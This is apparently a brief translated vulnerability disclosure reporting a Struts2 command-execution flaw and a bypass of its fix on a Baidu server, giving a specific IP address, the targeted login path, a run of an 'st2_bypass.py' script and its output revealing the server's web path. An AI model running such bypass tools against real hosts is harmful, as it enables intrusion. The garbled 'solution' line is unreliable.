Improper command execution vulnerability repair and bypass on a Baidu website

Improper command execution vulnerability repair and bypass on a Baidu website

A command execution vulnerability on a Baidu site, which can be used to fix improper Bypass

#1 vulnerability reference

WooYun: Execute the st2 command on a Baidu site (unique execution posture)

#2 vulnerability addresses

Http: // 123.125.115.249/lbs-agent/login. action

#3 proof
 

Python st2_bypass.py -- url http: // 123.125.115.249/lbs-agent/login. action [RESULT] Target: http: // 123.125.115.249/lbs-agent/login. actionvul: OKWebPath:/home/lbc/soft/agent-tomcat-5.5/webapps/lbs-agent/

 

Solution:

Join cloud acceleration package